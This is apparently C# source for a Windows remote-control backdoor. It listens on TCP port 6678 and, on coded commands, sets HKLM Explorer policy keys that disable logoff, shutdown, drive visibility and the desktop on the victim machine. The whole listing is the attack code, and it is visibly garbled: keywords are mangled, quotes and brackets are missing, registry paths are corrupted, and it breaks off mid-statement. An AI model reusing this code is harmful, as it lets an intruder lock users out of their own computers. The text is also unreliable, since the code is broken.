using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Data; using System.IO; using System.Net; using System.Net.Sockets; using System. Threading; using microsoft.win32; namespace server {/ **
/// Form1 summary description. /// public class form1: system.windows.forms.form {/ **
/// The required designer variable.
/// private System.ComponentModel.Container components = null; private TcpListener listener; private string mystr = "Hello I'm sorry, your registry:!"; Private RegistryKey rrr = Registry.LocalMachine; private RegistryKey key1; public Form1 ( ) {// // Windows Form Designer Support for // InitializationComponent (); {INT port = 6678; listener = new tcplistener (port); listener.Start (); thread thread = new thread (New Threadstart) Target); thread.start ();} // // Todo: Add any constructor code after INITIALIZECOMPONENT call //} public void target () {socket socket = listener.acceptsocket (); while (socket.connected) {byte [] by = new byte [6]; int i = socket.receive (by, by.Length, 0); string ss = system.text.Encoding.ascii.getstring (by); // o oooooooooooooooooooooooooooooooooooooooooo 是 以下 修 修 修registry OOOOOOOOOOOOOOOOOOOOOOOOOOO // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "jiance") {string str = "hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes (str.ToCharArray ()); socket.Send (bytee , Bytee.Length, 0);} if (ss == "zx1000) {Try {key1 = rrr.opensubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer ", true); key1.SetValue (" NoLogOff ", 1); key1.Close (); mystr = mystr " HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key NOLOGOFF is modified! Please set it to 0! "} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("
SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.SetValue (" NoLogOff ", 1); key2.Close (); mystr = mystr " HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key NOLOGOFF is modified! Please set it to 0! "} // try catch {}} // if (key1 == null) {string str =" hkz "; byte [] bytee = system.text.Encoding.ascii.getbytes (STR.TOCHARRAY (); socket } // if (ss == ") // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& *********************************************************** **** if (ss == "zx0100") {Try {key1 = rrr.opensubKey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"; Key1.SetValue ("Noclose", 1); Key1.Close (); mystr = mystr "localmachine / software / microsoft / windows / currentversion / policies / expedition" Noclose is modified! Please set it to 0! "} catch {} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.setValue (" noclose ", 1); key2 .Close (); mystr = mystr "localmachine / software / microsoft / windows / currentversion / policies / expedition" NOCLOSE is modified! Please set it to 0! "} // try catch {}} // if (key1 == null) {string str =" hkz "; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ());
Socket.send (Bytee, Bytee.length, 0);} // if (ss == "zx0100) {// ********************** *********************************************************** **** / / IF (SS == "ZX0010") {Try {Key1 = Rrr.OpenSubKey "SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer", true); key1.SetValue ( "NoDrives", 12); key1.Close (); mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Nodrives is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey (" Software / Microsoft / Windows / Currentversion / Policies / Explorer ") Key2.SetValue ("Nodrives", 12); key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CURRENTVERSION / Policies / Explorer key value Nodrives is modified! Please set it to 0"; // try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.encoding.ascii.getBytes (str.tochararray ()); socket.send Bytee, bytee.length, 0);} //// // ==
============================================================================================================================================================================================================= ================ = (SS == "zx0001") {Try {key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True) Key1.SetValue ("nodesktop", 1); key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CURRENTVERSION / Policies / Explorer key value Nodesktop is modified! Please set it to 0";} Catch {} if (key1 == null) {Try {regiSTryKey key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"); Key2.SetValue ("Nodesktop", 1); Key2.Close ); mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / MICROCAL_MACHINE / CURRENTVERSION / Policies / Explorer key value nodesktop is modified! Please set it to 0";} // try catch {}} // if (key1 == null) {String str = "hkz"; byte [] bytee = system.text.Encoding.ascii.getbytes (str.tochararray ()); socket.send (bytee, bytee.length, 0);} // if // = ============================================================================================================================================================================================================= ====================== // $$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ (SS = = "ZX1100") {try {key1 = rrr.opensubkey ("
Software / Microsoft / Windows / CurrentVersion / Policies / Explorer ", True); Key1.SetValue (" NOLOGOFF ", 1); Key1.SetValue (" Noclose ", 1); key1.close (); mystr = mystr " hkey_local_machine / Software / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.setValue (" NOLOGOFF ", 1); Key2.SetValue (" noclose ", 1); key2.close (); mystr = mystr hkey_local_machine / software / policy / expedition / cost value NOLOFF, NOCLOSE is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz "; Byte [] bytee = system.text.Encoding.ascii.getbytes (STR. ToCharArray ()); socket.Send (bytee, bytee.Length, 0);} // if // &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& if (ss == "zx1010") {try {key1 = rrr.OpenSubKey ( "SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer ", True); Key1.SetValue (" NOLOGOFF ", 1); Key1.SetValue (" Nodrives ", 12); key1.close (); mystr = mystr " hkey_local_machine / software / microsoft / windows / CURRENTVERSION / Policies / Explorer key value NOLOGOFF, NODRIVES is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey ("
SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.SetValue (" NoLogOff ", 1); key2.SetValue (" NoDrives ", 12); key2.Close (); mystr = mystr " HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODRIVES is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz "; Byte [] bytee = system.text.Encoding.ascii.getbytes (STR. Tochararray ()); socket.send (bytee, bytee.length, 0);} // if // ************************** ************************ i (ss == "zx1001") {try {key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / policies / Explorer ", true); key1.SetValue (" NoLogOff ", 1); key1.SetValue (" NoDesktop ", 1); key1.Close (); mystr = mystr " HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, Nodesktop is modified! Please set it to 0 ";} catch (exception ee) {messagebox.show (ee.Message);} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.SetValue (" NoLogOff ", 1); key2.SetValue (" NoDesktop ", 1); key2.Close (); mystr = mystr " HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NODESKTOP is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz "; Byte [] bytee = system.text.Encoding.ascii.getbytes (STR. Tochararray ()); socket.send (bytee, bytee.length, 0);} // if // ************************** ***************** IF (ss == "zx0110") {try {key1 = rrr.opensubKey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", Key1.SetValue ("
Noclose ", 1); Key1.SetValue (" Nodrives ", 12); key1.close (); mystr = mystr " HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOCLOSE, NODRIVES is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.setValue (" Noclose ", 1); Key2.SetValue (" nodrives ", 12); key2.close (); mystr = mystr hkey_local_machine / software / spiolicies / expensive Noclose / Explorer key value NOCLOSE, NODRIVES is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz "; Byte [] bytee = system.text.Encoding.ascii.getbytes (STR. Tochararray ()); socket.send (bytee, bytee.length, 0);} // if // ************************** ***************** IF (ss == "zx0101") {try {key1 = rrr.opensubKey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer", True); Key1.SetValue ("Noclose", 1); Key1.SetValue ("Nodesktop", 1); Key1.close (); mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value Noclose, Nodesktop is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.setValue (" Noclose ", 1); Key2.SetValue (" Nodesktop ", 1); key2.close (); mystr = mystr hkey_local_machine / software / curicies / costre key value noClose, Nodesktop is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz "; Byte [] bytee = system.text.Encoding.ascii.getbytes (STR. TOCHARRAY ());
Socket.send (Bytee, Bytee.length, 0);} // if // *************************************** * if (ss == "zx0011) {Try {key1 = rrr.opensubKey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "; Key1.SetValue (" NODRIVES ", 12); key1.setValue ("Nodesktop", 1); key1.close (); mystr = mystr hkey_local_machine / software / microsoft / windows / currentversion / policies / costre key value nodrives, Nodesktop is modified! Please set it to 0 ";} catch { } if (key1 == null) {try {RegistryKey key2 = rrr.CreateSubKey ( "SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer"); key2.SetValue ( "NoDrives", 12); key2.SetValue ( "NoDesktop ", 1); key2.close (); mystr = mYStr hkey_local_machine / software / microsoft / windows / currentversion / policies / expensiveR key value Nodrives, Nodesktop is modified! Please set it to 0";} // Try catch { }} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.encoding.ascii.getbytes (str.tochararray (); socket.send (bytee, bytee.length , 0);} // if // ************************************ IF (SS = = "ZX1110") {Try {key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVe Rsion / policies / expedition; key1.setValue ("NOLOGOFF", 1); Key1.SetValue ("Noclose", 1); Key1.SetValue ("Nodrives", 12); key1.close (); mYStr = MYSTR "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOFF, NOCLOSE, NODRIVES modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); key2.setValue (" NOLOGOFF ", 1); Key2.SetValue (" Noclose ", 1); Key2.SetValue (" NODRIVES ", 12);
Key2.close (); mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODRIVES is modified! Please set it to 0";} // Try catch}} / / if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.encoding.ascii.getbytes (str.tochararray ()); socket.send (bytee, bytee.length, 0) } // if // ************************************* IF (ss == "ZX1101") {try {key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"; Key1.SetValue ("Nologoff", 1); Key1.SetValue ("Noclose", 1 ); key1.SetValue ( "NoDesktop", 1); key1.Close ();! mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key NoLogOff, NoClose, NoDesktop place it is modified set 0 ";} catch {} if (key1 == null) {Try {registryKey Key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); Key2.SetValue (" Nologoff ", 1) Key2.SetValue ("Noclose", 1); Key2.SetValue ("Nodesktop", 1); key2.close (); mystr = mystr hkey_local_machine / software / microsoft / windows / currentversion / Policies / Explorer key value NOLOGOFF, NOCLOSE, NODESKTOP is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz "; Byte [] bytee = system.text.Encoding.ascii.getbytes (STR. Tochararray ()); socket.send (bytee, bytee.length, 0);} // if // ************************** *************** IF (ss == "zx1011) {try {key1 = rrr.opensubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer ", True) Key1.SetValue ("NOLOGOFF", 1); Key1.SetValue ("Nodrives", 12); Key1.SetValue ("Nodesktop", 1); key1.close ();
mystr = mystr "HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersion / Policies / Explorer key NoLogOff, NoDrives, NoDesktop modified place it is set to 0!";} catch {} if (key1 == null) {try {RegistryKey Key2 = rrr.createSubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"); Key2.SetValue ("NOLOGOFF", 1); Key2.SetValue ("Nodrives", 12); key2.setValue ("Nodesktop" 1); key2.close (); mystr = mystr "hkey_local_machine / software / microsoft / windows / currentversion / policies / expedition" NOLOGOFF, NODRIVES, NODESKTOP is modified! Please set it to 0 ";} // Try catch {}} // if (key1 == null) {string str = "hkz"; byte [] bytee = system.text.encoding.ascii.getbytes (str.tochararray (); socket.send (bytee, bytee. LENGTH, 0);} // if // *********************************************** ***** if (ss == "zx0111") {try {key1 = rrr.opensubkey ("Software / Microsoft / Windows / CurrentVersion / Policies / Explorer"; Key1.SetValue ("NODRIVES", 12) Key1.SetValue ("Noclose", 1); Key1.SetValue ("nodesktop", 1); key1.close (); mystr = mystr "hkey_local_machine / currentversion / P Olicies / Explorer key value Noclose, Nodrives, Nodsktop is modified! Please set it to 0 ";} catch {} if (key1 == null) {Try {registryKey key2 = rrr.createSubkey (" Software / Microsoft / Windows / CurrentVersion / Policies / Explorer "); Key2.SetValue (" Nodrives ", 12); Key2.SetValue (" Noclose ", 1); Key2.SetValue (" Nodesktop ", 1); key2.close (); mystr = mystr " hkey_local_machine / software / microsoft / windows / currentversion / Policies / Explorer Key value noclose, NODRIVES, NODESKTOP is modified! Please set it to 0 ";} // try catch {}} // if (key1 == null) {string str =" hkz ";